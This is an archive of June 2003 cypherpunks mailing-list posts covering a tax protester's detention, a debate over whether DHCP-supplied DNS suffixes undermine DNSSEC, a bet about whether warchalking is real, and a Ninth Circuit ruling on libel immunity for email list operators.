Subject: [We The People] Simkanin Back in Jail (fwd)
Message-ID: <Pine.BSF.4.21.0306292240500.18547-100000@greeves.mfn.org>

Echoes of Jim Bell here: 

"(Note: Although apparently not mentioned in Friday's oral arguments, the DOJ
has reportedly asserted that language that appeared briefly on Simkanin's
website some time ago referring to "heavenly fires" that would strike at
government agents that illegally moved against him constituted a direct
threat justifying incarceration.)"


-- 
Yours, 
J.A. Terranson
sysadmin at mfn.org

"We have folded in on ourselves; we have severely weakened the delicate
international coalitions and alliances that are vital in maintaining and
promoting peace, and we are part now of a dubious troika in the war against
terror with Vladimir Putin and Ariel Sharon, two leaders who do not shrink in
Palestine or Chechnya from carrying out acts of gratuitous and senseless acts
of violence. We have become the company we keep."

Christopher Hedges
15-year veteran of foreign war coverage for the New York Times


---------- Forwarded message ----------
Date: Sun, 29 Jun 2003 22:34:41 -0500
From: "Bob Schulz (DO NOT REPLY - Unmonitored Mailbox)"
    <LMM-1-116-50433 at givemeliberty.org>
To: measl at mfn.org
Subject: [We The People] Simkanin Back in Jail

Do not reply to this message -- it was sent from an unmonitored mailbox.
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6-30-03

Employer Simkanin Sent Back To Jail

Federal Judge Openly Ignores Due Process
Government Attacks Simkanin's Company


Dick Simkanin, owner of Dallas based Arrow Custom Plastics, was remanded
back to a federal detention facility following a hearing Friday that was
described by an eye-witness as a legal sham.

Simkanin, facing 27 counts of violating federal tax laws related to
failing to withhold wage taxes on his employees, had previously been
arrested and subsequently released following a detention/bail hearing
before a federal Magistrate on Wednesday.  At that hearing, DOJ failed
to produce any evidence that established that Simkanin was either a
"danger to the community" or a "flight risk." 

During a scheduled arraignment related hearing Friday, US District Court
Judge John H. McBryde dismissed, without any consideration, several
motions filed earlier in the week by Simkanin on a "pro se" basis,
ruling that they were completely "frivolous."  One of these motions
requested a legal "Bill of Particulars" (which cites the exact statutes
violated and circumstances of the alleged crimes) and other required
legal documents which verify the indictment process. 

Judge McBryde then proceeded to take notice that the DOJ had filed a
"motion to reconsider" federal Magistrate Erma Ramirez's ruling from
Wednesday that had freed Simkanin on his own recognizance.  Over the
extensive and repeated objections of Simkanin's legal counsel Weuster,
the judge began to address the DOJ motion for reconsideration during the
arraignment hearing.  

Weuster objected that the motion to reconsider had only been filed on
Thursday, and that they had not had any time respond to it, much less be
prepared to argue the motion in court.  Weuster strenuously objected
that a hearing on that matter could not take place without prior public
notice as is required by law and proper due process.  Judge McBryde
ignored Weuster's objections.

According to reports from witnesses, Simkanin and his attorney were then
given several minutes to confer on the side of the courtroom. Simkanin
then took the stand, answering questions from his own attorney and then
from the US Attorney regarding Simkanin's beliefs regarding the
jurisdiction of the court, the jurisdiction of the US inside Texas, etc.
and about a letter he had apparently sent to the US Attorney as part of
his earlier grand jury appearances over the last two years.  

(Note: Although apparently not mentioned in Friday's oral arguments, the
DOJ has reportedly asserted that language that appeared briefly on
Simkanin's website some time ago referring to "heavenly fires" that
would strike at government agents that illegally moved against him
constituted a direct threat justifying incarceration.) 

At some point during the questioning of Simkanin, Judge McBryde simply
stopped the discussion and summarily remanded Simkanin to be held by the
federal authorities, remarking that a further detention hearing would be
scheduled following McBryde's review of the transcript of the original
detention hearing from Wednesday.

According to legal documents, Judge McBryde has a significant history of
aberrant and improper behavior from the bench.  Judge McBryde was
effectively suspended from the federal court in 2000 for over a year as
a result of special, several year judicial investigation that documented
a long history of McBryde's flagrant abuses of judicial power and
courtroom practices that negatively affected the judicial process, i.e.,
denied due process.  The following quote comes from the 5th Circuit
appellate court decision
<http://pacer.cadc.uscourts.gov/common/opinions/200109/00-5016b.txt>  of
the case Judge McBryde brought to challenge the suspension and
additional sanctions imposed on him following his refusal to resign from
his lifetime appointment to the federal bench: 

Based on all of this evidence, the Report concludes (1) that "many of
these individual instances,
together with the patterns demonstrated over the years surveyed,"
indicate that Judge McBryde 
had "engaged in conduct prejudicial to the effective administration of
the business of the courts," 
and (2) that Judge McBryde's "pattern of abusive behavior ...  has
brought disrepute upon the 
federal judiciary."  Report at 150.  The Report recommends that the
Council ask Judge McBryde
to resign, and if he refused, that it impose the three sanctions--a
reprimand and two 
suspensions--described in the court's opinion.  Maj. Op. at 3.  The
recommended reprimand 
states that Judge McBryde's "intemperate, abusive and intimidating
treatment of lawyers, 
fellow judges, and others ha[d] detrimentally affected the effective
administration of 
justice ...  in the Northern District of Texas,"  

Due to the lack of timely public notice regarding the DOJ's motion to
reconsider Simkanin's detention, WTP was unable to call for observers
for the hearing. 

Simkanin is apparently being held at the federal medical detention
facility near Fort Worth.  He is allowed no visitors except for licensed
attorneys.  

In addition, according to sources working for Arrow Plastic, the IRS on
Thursday formally notified the two leading business credit bureaus, Dun
& Bradstreet and Experian, that Arrow Custom Plastics, Inc. and another
Simkanin corporation had been legally dissolved and that they were
involved in a significant tax legal action. 

Vendors of Arrow Plastics (Simkanin's sole proprietorship -- not Arrow
Custom Plastics, Inc.) were immediately notified electronically of the
IRS notice by the credit bureaus and deluged the business Friday
demanding to be paid in cash for materials and services already on
credit with Arrow.  Arrow is working to clear up the vendor situation as
Simkanin's criminal charges relate strictly to the former (now
non-existent) incorporated entities, not the sole proprietorship known
as "Arrow Plastics" that Simkanin has run for the last several years. 

The Arrow proprietorship does not withhold from wages or salaries and
none of the pending legal charges relate to that entity. Simkanin has no
criminal record.

Simkanin's website is www.ArrowPlastics.net
<http://www.ArrowPlastics.net> .

Click Here
<http://pacer.cadc.uscourts.gov/common/opinions/200109/00-5016b.txt>  to
read the official posting of Judge McBryde's appeal regarding his
suspension.
 

  _____  

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From ravage at einstein.ssz.com  Sun Jun 29 21:37:58 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 29 Jun 2003 23:37:58 -0500 (CDT)
Subject: [sexpot@zork.net: 6:30 pm Monday 30 June 2003 Refund Day II:
  The case of Adam Kosmin vs. Toshiba, in the matter of Adam's refund,
  may be be tried but might be put off for another day.] (fwd)
Message-ID: <Pine.LNX.4.33.0306292336350.1323-100000@einstein.ssz.com>

----- Forwarded message from Jay Sexpot Sulzberger <sexpot at zork.net> -----


From jas at extundo.com  Sun Jun 29 14:49:05 2003
From: jas at extundo.com (Simon Josefsson)
Date: Sun, 29 Jun 2003 23:49:05 +0200
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
In-Reply-To: <5.1.1.6.2.20030629132842.033e71d0@idiom.com> (Bill
  Stewart's message of "Sun, 29 Jun 2003 14:19:51 -0700")
References: <5.1.1.6.2.20030629132842.033e71d0@idiom.com>
Message-ID: <iluof0gh7vy.fsf@latte.josefsson.org>

Bill Stewart <bill.stewart at pobox.com> writes:

> At 11:15 PM 06/28/2003 -0400, Steven M. Bellovin wrote:
>>In message <5.1.1.6.2.20030628124252.033e5600 at idiom.com>, Bill Stewart writes:
>> >This looks like it has the ability to work around DNSSEC.
>> >Somebody trying to verify that they'd correctly reached yahoo.com
>> >would instead verify that they'd correctly reached
>> >yahoo.com.attackersdomain.com, which can provide all the signatures
>> >it needs to make this convincing.
>> >
>> >So if you're depending on DNSSEC to secure your IPSEC connection,
>> >do make sure your DNS server doesn't have a suffix of echelon.nsa.gov...
>>
>>No, that's just not true of DNSsec.  DNSsec doesn't depend on the
>>integrity of the connection to your DNS server;
>>rather, the RRsets are digitally signed.
>>In other words, it works a lot like certificates,
>>with a trust chain going back to a magic root key.
>
> I thought about that, and I think this is an exception,
> because this attack tricks your machine into using the
> trust chain yahoo.com.attackersdomain.com., which it controls,
> instead of the trust chain yahoo.com., which DNSSEC protects adequately.
> So you're getting a trustable answer to the wrong query.

No, I believe only one of the following situations can occur:

* Your laptop see and uses the name "yahoo.com", and the DNS server
  translate them into yahoo.com.attackersdomain.com.  If your laptop
  knows the DNSSEC root key, the attacker cannot spoof yahoo.com since
  it doesn't know the yahoo.com key.  This attack is essentially a
  man-in-the-middle attack between you and your recursive DNS server.

* Your laptop see and uses the name "yahoo.com.attackersdomain.com".
  You may be able to verify this using your DNSSEC root key, if the
  attackersdomain.com people have set up DNSSEC for their spoofed
  entries, but unless you are using bad software or judgment, you will
  not confuse this for the real "yahoo.com".

Of course, everything fails if you ALSO get your DNSSEC root key from
the DHCP server, but in this case you shouldn't expect to be secure.
I wouldn't be surprised if some people suggest pushing the DNSSEC root
key via DHCP though, because alas, getting the right key into the
laptop in the first place is a difficult problem.




From hseaver at cybershamanix.com  Mon Jun 30 04:28:22 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Mon, 30 Jun 2003 06:28:22 -0500
Subject: God speaks to Dubbya
Message-ID: <20030630112822.GA13201@cybershamanix.com>

http://www.haaretzdaily.com/hasen/pages/ShArt.jhtml?itemNo=310788&contrassID=2&subContrassID=1&sbSubContrassID=0&listSrc=Y

"According to Abbas, immediately thereafter Bush
said: "God told me to strike at al Qaida and I
struck them, and then he instructed me to
strike at Saddam, which I did, and now I am
determined to solve the problem in the Middle
East. If you help me I will act, and if not,
the elections will come and I will have to
focus on them.""


-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From jas at extundo.com  Sun Jun 29 21:58:02 2003
From: jas at extundo.com (Simon Josefsson)
Date: Mon, 30 Jun 2003 06:58:02 +0200
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
  NOT
In-Reply-To: <5.1.1.6.2.20030629152707.026516d0@idiom.com> (Bill
  Stewart's message of "Sun, 29 Jun 2003 19:17:18 -0700")
References: <5.1.1.6.2.20030629132842.033e71d0@idiom.com>
  <5.1.1.6.2.20030629132842.033e71d0@idiom.com>
  <5.1.1.6.2.20030629152707.026516d0@idiom.com>
Message-ID: <ilubrwggo11.fsf_-_@latte.josefsson.org>

Bill Stewart <bill.stewart at pobox.com> writes:

>>* Your laptop see and uses the name "yahoo.com.attackersdomain.com".
>>   You may be able to verify this using your DNSSEC root key, if the
>>   attackersdomain.com people have set up DNSSEC for their spoofed
>>   entries, but unless you are using bad software or judgment, you will
>>   not confuse this for the real "yahoo.com".
>
> The DNS suffix business is designed so that your laptop tries
> to use "yahoo.com.attackersdomain.com", either before "yahoo.com"
> or after unsuccessfully trying "yahoo.com", depending on implementation.
> It may be bad judgement, but it's designed to support intranet sites
> for domains that want their web browsers and email to let you
> refer to "marketing" as opposed to "marketing.webservers.example.com",
> and Netscape-derived browsers support it as well as IE.

It can be a useful feature, but it does not circumvent DNSSEC in any
way, that I can see.  DNSSEC see yahoo.com.attackersdomain.com and can
verify that the IP addresses for that host are the one that the owner
of the y.c.a.c domain publishes, and that is what DNSSEC delivers.
The bad judgement I referred to was if your software, after DNSSEC
verification, confuses yahoo.com with yahoo.com.attackersdomain.com.

>>Of course, everything fails if you ALSO get your DNSSEC root key from
>>the DHCP server, but in this case you shouldn't expect to be secure.
>>I wouldn't be surprised if some people suggest pushing the DNSSEC root
>>key via DHCP though, because alas, getting the right key into the
>>laptop in the first place is a difficult problem.
>
> I agree with you and Steve that this would be a Really Bad Idea.
> The only way to make it secure is to use an authenticated DHCP,
> which means you have to put authentication keys in somehow,
> plus you need a reasonable response for handling authentication failures,
> which means you need a user interface as well.
> It's also the wrong scope, since the DNSSEC is global information,
> not connection-oriented information, so it's not really DHCP's job.

I think it is simpler to have the DNSSEC root key installed with the
DNSSEC software.  If someone can replace the root key in that
distribution channel, they could also modify your DNSSEC software, so
you are no worse off.




From camera_lumina at hotmail.com  Mon Jun 30 06:30:06 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Mon, 30 Jun 2003 09:30:06 -0400
Subject: God speaks to Dubbya
Message-ID: <BAY7-F46WHItq6eO6wG00008c4d@hotmail.com>

Interesting quote. Reminds me of Hernan Cortes (who probably had an IQ in 
the Dubbya range).
-TD


>From: Harmon Seaver <hseaver at cybershamanix.com>
>To: cypherpunks at lne.com
>Subject: God speaks to Dubbya
>Date: Mon, 30 Jun 2003 06:28:22 -0500
>
>http://www.haaretzdaily.com/hasen/pages/ShArt.jhtml?itemNo=310788&contrassID=2&subContrassID=1&sbSubContrassID=0&listSrc=Y
>
>"According to Abbas, immediately thereafter Bush
>said: "God told me to strike at al Qaida and I
>struck them, and then he instructed me to
>strike at Saddam, which I did, and now I am
>determined to solve the problem in the Middle
>East. If you help me I will act, and if not,
>the elections will come and I will have to
>focus on them.""
>
>
>--
>Harmon Seaver
>CyberShamanix
>http://www.cybershamanix.com

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail




From smb at research.att.com  Mon Jun 30 08:19:37 2003
From: smb at research.att.com (Steven M. Bellovin)
Date: Mon, 30 Jun 2003 11:19:37 -0400
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
  NOT 
Message-ID: <20030630151937.98F6B7B4D@berkshire.research.att.com>

In message <ilubrwggo11.fsf_-_ at latte.josefsson.org>, Simon Josefsson writes:
>Bill Stewart <bill.stewart at pobox.com> writes:
>
>>>* Your laptop see and uses the name "yahoo.com.attackersdomain.com".
>>>   You may be able to verify this using your DNSSEC root key, if the
>>>   attackersdomain.com people have set up DNSSEC for their spoofed
>>>   entries, but unless you are using bad software or judgment, you will
>>>   not confuse this for the real "yahoo.com".
>>
>> The DNS suffix business is designed so that your laptop tries
>> to use "yahoo.com.attackersdomain.com", either before "yahoo.com"
>> or after unsuccessfully trying "yahoo.com", depending on implementation.
>> It may be bad judgement, but it's designed to support intranet sites
>> for domains that want their web browsers and email to let you
>> refer to "marketing" as opposed to "marketing.webservers.example.com",
>> and Netscape-derived browsers support it as well as IE.
>
>It can be a useful feature, but it does not circumvent DNSSEC in any
>way, that I can see.  DNSSEC see yahoo.com.attackersdomain.com and can
>verify that the IP addresses for that host are the one that the owner
>of the y.c.a.c domain publishes, and that is what DNSSEC delivers.
>The bad judgement I referred to was if your software, after DNSSEC
>verification, confuses yahoo.com with yahoo.com.attackersdomain.com.
>

It's also not a new problem -- see RFC 1535.


		--Steve Bellovin, http://www.research.att.com/~smb (me)
		http://www.wilyhacker.com (2nd edition of "Firewalls" book)




From measl at mfn.org  Mon Jun 30 09:48:49 2003
From: measl at mfn.org (J.A. Terranson)
Date: Mon, 30 Jun 2003 11:48:49 -0500 (CDT)
Subject: Warchalking does not exist: a wager.
In-Reply-To: <28DCA51A-AB14-11D7-8E02-000A959AE07A@vt.edu>
Message-ID: <Pine.BSF.4.21.0306301147590.22598-100000@greeves.mfn.org>

http://www.midwestwarchalking.org predates (look at the whois) the media's
involvement.

On Mon, 30 Jun 2003, jeremy hunsinger wrote:

> Date: Mon, 30 Jun 2003 12:01:50 -0400
> From: jeremy hunsinger <jhuns at vt.edu>
> Reply-To: cypherpunks at einstein.ssz.com
> To: cypherpunks at lne.com
> Subject: CDR: Warchalking does not exist: a wager.
> 
> Forwarded for a colleague:
> 
> 
> For background, Warchalking is the use of symbols (marked with chalk) to
> indicate the presence of a Wi-Fi hotspot.  In pure form, the story of
> warchalking is that there is a subculture of Wi-Fi users that use chalk 
> to
> communicate with each other about Wi-Fi locations.  Hip/cool businesses 
> then
> co-opted the subcultural warchalking to advertise their own hotspots.  
> More
> at:  http://www.warchalking.org/
> 
> My contention is that the first (subcultural) story about warchalking 
> above
> is entirely a media phenomenon -- it is a beautiful idea, but it doesn't
> make any sense as a directory service to find Wi-Fi.  It is too easy to 
> miss
> a warchalk mark, and the chalk wears away (or washes away in the rain) 
> too
> quickly.  Warchalking symbols were heavily promoted in the New York 
> Times
> just *48 hours* after they were first made public on the Web.  There 
> was a
> subsequent wave of media stories about warchalking, giving everyone 
> ideas.
> Every single occurrence of chalk I've found can be attributed to 
> chalkers
> who want to self-promote their own mark.  So I believe that people *do*
> rarely make warchalking marks for various reasons (to be cool, to 
> advertise
> for their own network) but I *don't* believe that people use warchalking
> marks in a meaningful way to find Wi-Fi.
> 
> After the conversation with Steve, on December 18th I posted an call to 
> many
> colleagues around the world asking for verifiable instances of 
> warchalking
> that work the way that warchalking describes itself.  Reports to date:
> zero.  If warchalking worked as a directory location service, shouldn't 
> I be
> able to find it?
> 
> I just had a close call -- a friend told me that my office at Oxford had
> been warchalked.  Since it is a WEP (non-open) node and I didn't do it, 
> this
> could be half of a "true" instance of warchalking!  I ran out as soon 
> as I
> heard but couldn't find the mark.  It must have washed away?  (Here in
> England, it is raining.)
> 
> So I am willing to propose a wager, or a bounty.  I'll bet one dollar 
> that
> warchalking is not a meaningful way of locating Wi-Fi hotspots.  To win 
> the
> bounty, can anyone deliver someone that uses warchalking to locate Wi-Fi
> hotspots?
> 
> Caveats:  (1) Warchalking done by the provider of the hotspot does not
> count -- it is supposedly a co-option of the "pure" subculture.  I 
> dispute
> the subculture, not the self-promotion.  (2) I am not disputing that
> wardriving, warwalking, and online hotspot mapping (warchalking with 
> bits in
> GIS databases, not with chalk) exist as advertised.  (Though others 
> have.)
> My beef here is only about the chalk part.
> 
> I've made a web page for this bet that has the relevant emails I've 
> sent and
> some links:  http://www.niftyc.org/bet/
> 
> As you may have guessed I'm writing a paper about this.  Email me if you
> want a copy when I finish.  Thank you for any help!
> 
> Christian
> 
> 
> 
> --
> http://www.niftyc.org/
> 
> 

-- 
Yours, 
J.A. Terranson
sysadmin at mfn.org

"...we are part now of a dubious troika in the war against terror with
Vladimir Putin and Ariel Sharon, two leaders who do not shrink in Palestine
or Chechnya from carrying out acts of gratuitous and senseless acts of
violence. We have become the company we keep."

Christopher Hedges
15-year veteran of foreign war coverage for the New York Times




From jhuns at vt.edu  Mon Jun 30 09:01:50 2003
From: jhuns at vt.edu (jeremy hunsinger)
Date: Mon, 30 Jun 2003 12:01:50 -0400
Subject: Warchalking does not exist: a wager.
Message-ID: <28DCA51A-AB14-11D7-8E02-000A959AE07A@vt.edu>

Forwarded for a colleague:


For background, Warchalking is the use of symbols (marked with chalk) to
indicate the presence of a Wi-Fi hotspot.  In pure form, the story of
warchalking is that there is a subculture of Wi-Fi users that use chalk 
to
communicate with each other about Wi-Fi locations.  Hip/cool businesses 
then
co-opted the subcultural warchalking to advertise their own hotspots.  
More
at:  http://www.warchalking.org/

My contention is that the first (subcultural) story about warchalking 
above
is entirely a media phenomenon -- it is a beautiful idea, but it doesn't
make any sense as a directory service to find Wi-Fi.  It is too easy to 
miss
a warchalk mark, and the chalk wears away (or washes away in the rain) 
too
quickly.  Warchalking symbols were heavily promoted in the New York 
Times
just *48 hours* after they were first made public on the Web.  There 
was a
subsequent wave of media stories about warchalking, giving everyone 
ideas.
Every single occurrence of chalk I've found can be attributed to 
chalkers
who want to self-promote their own mark.  So I believe that people *do*
rarely make warchalking marks for various reasons (to be cool, to 
advertise
for their own network) but I *don't* believe that people use warchalking
marks in a meaningful way to find Wi-Fi.

After the conversation with Steve, on December 18th I posted an call to 
many
colleagues around the world asking for verifiable instances of 
warchalking
that work the way that warchalking describes itself.  Reports to date:
zero.  If warchalking worked as a directory location service, shouldn't 
I be
able to find it?

I just had a close call -- a friend told me that my office at Oxford had
been warchalked.  Since it is a WEP (non-open) node and I didn't do it, 
this
could be half of a "true" instance of warchalking!  I ran out as soon 
as I
heard but couldn't find the mark.  It must have washed away?  (Here in
England, it is raining.)

So I am willing to propose a wager, or a bounty.  I'll bet one dollar 
that
warchalking is not a meaningful way of locating Wi-Fi hotspots.  To win 
the
bounty, can anyone deliver someone that uses warchalking to locate Wi-Fi
hotspots?

Caveats:  (1) Warchalking done by the provider of the hotspot does not
count -- it is supposedly a co-option of the "pure" subculture.  I 
dispute
the subculture, not the self-promotion.  (2) I am not disputing that
wardriving, warwalking, and online hotspot mapping (warchalking with 
bits in
GIS databases, not with chalk) exist as advertised.  (Though others 
have.)
My beef here is only about the chalk part.

I've made a web page for this bet that has the relevant emails I've 
sent and
some links:  http://www.niftyc.org/bet/

As you may have guessed I'm writing a paper about this.  Email me if you
want a copy when I finish.  Thank you for any help!

Christian



--
http://www.niftyc.org/




From wsimpson at greendragon.com  Mon Jun 30 10:05:38 2003
From: wsimpson at greendragon.com (William Allen Simpson)
Date: Mon, 30 Jun 2003 13:05:38 -0400
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
References: <20030630014650.ED1E57B4D@berkshire.research.att.com>
Message-ID: <3F006DD1.606A89D6@greendragon.com>

"Steven M. Bellovin" wrote:
> 
> In message <iluof0gh7vy.fsf at latte.josefsson.org>, Simon Josefsson writes:
> >Of course, everything fails if you ALSO get your DNSSEC root key from
> >the DHCP server, but in this case you shouldn't expect to be secure.
> >I wouldn't be surprised if some people suggest pushing the DNSSEC root
> >key via DHCP though, because alas, getting the right key into the
> >laptop in the first place is a difficult problem.
> >
> 
> I can pretty much guarantee that the IETF will never standardize that,
> except possibly in conjunction with authenticated dhcp.
> 
Would this be the DHCP working group that on at least 2 occasions 
when I was there, insisted that secure DHCP wouldn't require a secret, 
since DHCP isn't supposed to require "configuration"?

And all I was proposing at the time was username, challenge, MD5-hash
response (very CHAP-like).  They can configure ARP addresses for 
"security", but having both the user and administrator configure a per
host secret was apparently out of the question.
-- 
William Allen Simpson
    Key fingerprint =  17 40 5E 67 15 6F 31 26  DD 0D B9 9B 6A 15 2C 32

---------------------------------------------------------------------
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From mv at cdc.gov  Mon Jun 30 15:54:45 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Mon, 30 Jun 2003 15:54:45 -0700
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
Message-ID: <3F00BFB5.36F49AA1@cdc.gov>

At 01:05 PM 6/30/03 -0400, William Allen Simpson wrote:
>"Steven M. Bellovin" wrote:
>>
>> I can pretty much guarantee that the IETF will never standardize
that,
>> except possibly in conjunction with authenticated dhcp.
>>
>Would this be the DHCP working group that on at least 2 occasions
>when I was there, insisted that secure DHCP wouldn't require a secret,
>since DHCP isn't supposed to require "configuration"?

In some cases it would be trivial to distribute a key for DHCP trust
purposes.
My cable ISP distributes a CDROM which configures Wintel machines for
it.  (I don't use this.)  It would be easy enough for them to distribute
secret
or public keys or even hash sigs that worked with their DHCP, *if* the
clients
could use it, and *if* the users paid attention to whatever UI
accompanied
problems.

In other cases --the visitor who wants to connect a laptop to an office
net--
there is a perhaps unacceptable burden.




From mv at cdc.gov  Mon Jun 30 16:23:44 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Mon, 30 Jun 2003 16:23:44 -0700
Subject: 1st amend: non commercial publishers not liable for libel
Message-ID: <3F00C680.1F646E8A@cdc.gov>

The Ninth Circuit Court of Appeals ruled last Tuesday that Web loggers,
website operators and e-mail list
editors can't be held responsible for libel for information they
republish, extending crucial First
Amendment protections to do-it-yourself online publishers.

Online free speech advocates praised the decision as a victory. The
ruling effectively differentiates
conventional news media, which can be sued relatively easily for libel,
from certain forms of online
communication such as moderated e-mail lists. One implication is that
DIY publishers like bloggers cannot
be sued as easily.

"One-way news publications have editors and fact-checkers, and they're
not just selling information --
they're selling reliability," said Cindy Cohn, legal director of the
Electronic Frontier Foundation. "But on
blogs or e-mail lists, people aren't necessarily selling anything,
they're just engaging in speech. That
freedom of speech wouldn't exist if you were held liable for every piece
of information you cut, paste and
forward."

The court based its decision on a section of the 1996 Communications
Decency Act, or the CDA. That
section states, "... no provider or user of an interactive computer
service shall be treated as the publisher
or speaker of any information provided by another information content
provider." Three cases since then
-- Zeran v. AOL, Gentry v. eBay and Schneider v. Amazon -- have granted
immunity to commercial online
service providers.

Tuesday's court ruling clarifies the reach of the immunity granted by
the CDA to cover noncommercial
publishers like list-server operators and others who take a personal
role in deleting or approving messages
for online publication.

"Here, the court basically said that when it comes to Internet
publication, you can edit, pick and choose,
and still be protected," said Cohn.

The case traces back to a North Carolina town in 1999, where handyman
Robert Smith was repairing a
truck owned by attorney and art collector Ellen Batzel. Smith claimed to
have overheard Batzel say she
was related to Nazi Gestapo head Heinrich Himmler. He said he concluded
that the European paintings he
saw in her home must be stolen goods, and shared this in an e-mail he
sent to the editor of the Museum
Security Network, an organization that publishes information about
stolen art.

Without telling Smith the e-mail would be published, Ton Cremers -- the
sole operator of
Amsterdam-based Museum Security Network &ndash;- made minor edits, then
posted Smith's e-mail to a
list of about 1,000 museum directors, journalists, auction houses,
gallery owners and Interpol and FBI
agents.

Three months later, Batzel learned of the post. She contacted Cremers to
deny both the stolen art and Nazi
ancestry allegations. She also said Smith's claims were motivated by
financial disputes over contracting
work.

Smith said he had no idea Cremers would publish a private e-mail on the
list or on the Web.

Batzel sued Smith, Cremers and the Museum Security Network for
defamation and won. Cremers
appealed.

The appeals court questioned whether Cremers' minor edits to Smith's
e-mail altered it so much that the
post became a new piece of expression, and decided it had not. But
because Smith claims he didn't know
the e-mail would be published, the court also questioned whether the
immunity provision of the Act
applied, and passed the case back to the district court. The lower court
will reconsider whether Cremers
had reasonable belief that Smith's e-mail was intended for publication.

"Some weblogs are interesting mixes of original and forwarded content,
so this issue may come up again
in the courts," EFF's Cohn said. "Where that legal line is drawn may
become a point of contention."

Ellen Batzel says the case changed her life.

"This was a small, North Carolina mountain town -- I talked to the
(district attorney) and he said 'Get a
dog, get a gun, get a security system or better yet get out of town.' I
sold my house and moved. I've been
hurt in my professional reputation and in my private life.

"I know what free speech is, and I support it, but this is about
invasion of privacy and my civil liberty.
Every time I meet someone now, I have to say, 'Hi, I'm not Himmler's
granddaughter."

Attorney Howard Fredman, who represented Batzel in the case, said the
next legal steps could include a
rehearing before the appeals court, or petitioning the U.S. Supreme
Court.

http://wired.com/news/politics/0,1283,59424,00.html




From morlockelloi at yahoo.com  Mon Jun 30 17:59:00 2003
From: morlockelloi at yahoo.com (Morlock Elloi)
Date: Mon, 30 Jun 2003 17:59:00 -0700 (PDT)
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
In-Reply-To: <3F006DD1.606A89D6@greendragon.com>
Message-ID: <20030701005900.79940.qmail@web40610.mail.yahoo.com>

> "security", but having both the user and administrator configure a per
> host secret was apparently out of the question.

There is no such thing as "automatic security." That's an oxymoron.

Any system that is "secure" without the ongoing burn of end-user brain cycles
is subject to more-or-less easy subversion [a corollary of this is that
"masses" will never be in situation to be both (1) end users and (2) secure.
One can be a product and secure at the same time without effort, though.]

And any system that (in theory) makes DNS foolproof will inevitably exclude any
parallel name services.



=====
end
(of original message)

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From mv at cdc.gov  Mon Jun 30 21:44:03 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Mon, 30 Jun 2003 21:44:03 -0700
Subject: Warchalking does not exist: a wager.
Message-ID: <3F011193.3B673D02@cdc.gov>

At 10:24 PM 6/30/03 -0500, Harmon Seaver wrote:
>   Don't know about warchalking per se, gpsdrive and kismet work a lot
better,
>and people trade the waypoints/nodes. Makes a hundred times more sense
that
>scribbling marks on buildings, especially that are hard to find and
wash away.

Publishing a table of GPS coords and other info sounds like something
2600 would do, for yucks.
(In fact, I thought I had seen such tables there, but couldn't find it
in a brief scan of my issues.)




From sfurlong at acmenet.net  Mon Jun 30 19:01:17 2003
From: sfurlong at acmenet.net (Steve Furlong)
Date: Mon, 30 Jun 2003 22:01:17 -0400
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
In-Reply-To: <20030701005900.79940.qmail@web40610.mail.yahoo.com>
References: <20030701005900.79940.qmail@web40610.mail.yahoo.com>
Message-ID: <200306302201.17853.sfurlong@acmenet.net>

On Monday 30 June 2003 20:59, Morlock Elloi wrote:
> There is no such thing as "automatic security." That's an oxymoron.
>
> Any system that is "secure" without the ongoing burn of end-user
> brain cycles is subject to more-or-less easy subversion [a corollary
> of this is that "masses" will never be in situation to be both (1)
> end users and (2) secure. One can be a product and secure at the same
> time without effort, though.]

Another corollary of your statements is that we can't have an AI 
monitoring Joe User's system to maintain security. No matter how smart 
a consumer-grade AI is, you have to assume the attackers will have AIs 
at least as smart, and dedicated to tricking the defensive AIs. The 
same applies to human users, of course, but humans are more 
unpredicable than a security AI is likely to be, and can be held 
responsible if they're tricked; if the security AI is tricked, the 
vendor might be held liable.

Too bad; I've about come to the conclusion that Joe User is too dumb 
(ignorant, inattentive, careless; in a word, dumb) to secure his 
systems, and doesn't think it worth paying someone to do it for him. 
That's a bummer because no one is going to trust an electronic wallet 
on a machine which has a 50% chance of being 0wn3d any given month. I'd 
been thinking that programs might soon get smart enough to handle Joe's 
security work, but as a result of your message I'm less confident than 
I was.

SRF

-- 
Steve Furlong    Computer Condottiere   Have GNU, Will Travel

"If someone is so fearful that, that they're going to start using
their weapons to protect their rights, makes me very nervous that
these people have these weapons at all!"  -- Rep. Henry Waxman




From hseaver at cybershamanix.com  Mon Jun 30 20:24:44 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Mon, 30 Jun 2003 22:24:44 -0500
Subject: Warchalking does not exist: a wager.
In-Reply-To: <28DCA51A-AB14-11D7-8E02-000A959AE07A@vt.edu>
References: <28DCA51A-AB14-11D7-8E02-000A959AE07A@vt.edu>
Message-ID: <20030701032444.GB13662@cybershamanix.com>

   Don't know about warchalking per se, gpsdrive and kismet work a lot better,
and people trade the waypoints/nodes. Makes a hundred times more sense that
scribbling marks on buildings, especially that are hard to find and wash away. 

 -- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From morlockelloi at yahoo.com  Mon Jun 30 22:34:30 2003
From: morlockelloi at yahoo.com (Morlock Elloi)
Date: Mon, 30 Jun 2003 22:34:30 -0700 (PDT)
Subject: Warchalking does not exist: a wager.
In-Reply-To: <3F011193.3B673D02@cdc.gov>
Message-ID: <20030701053430.72141.qmail@web40603.mail.yahoo.com>

> Don't know about warchalking per se, gpsdrive and kismet work a lot better,
> and people trade the waypoints/nodes. Makes a hundred times more sense

I never figured out why does one need a map of grocery stores. You see a store
with the OPEN sign and get your chocolate.

802.11b works the same way, there are zillon drivers that give you a list of
OPEN access points IN YOUR RANGE* and you simply pick one (some drivers will
also test the connectivity to the backbone so you don't waste time with
firewalled ones.)

And the purpose of chalk marks is ?



